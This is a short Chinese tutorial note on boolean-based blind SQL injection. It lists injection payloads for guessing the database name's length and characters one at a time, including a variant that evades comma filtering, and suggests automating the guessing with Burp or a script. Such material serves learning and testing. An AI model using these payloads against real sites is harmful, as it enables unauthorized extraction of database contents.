当页面存在注入点,但只显示查询到的信息是否为空,可以使用布尔注入
长度判断:
栗子: 1' and length(database())>=1
当and后面的条件不满足时,数据库不会查询到任何结果,因为条件恒为假
判读第一个字符:
1' and substr(database(),1,1)='a'
1' and substr(database() from 1 for 1)='a' --(绕过逗号)
1' and ord(substr(database(),1,1))=115
1' and database() like 'c%';
1' and left(database(),1)='a'
当判断正确的时候,页面提示查询到,就表明第一个字符猜对了,那么就继续猜测第二个字符
当然我们不会自己手动去测试(试完手会断)
一般会使用burp爆破或者写一个脚本跑







网友评论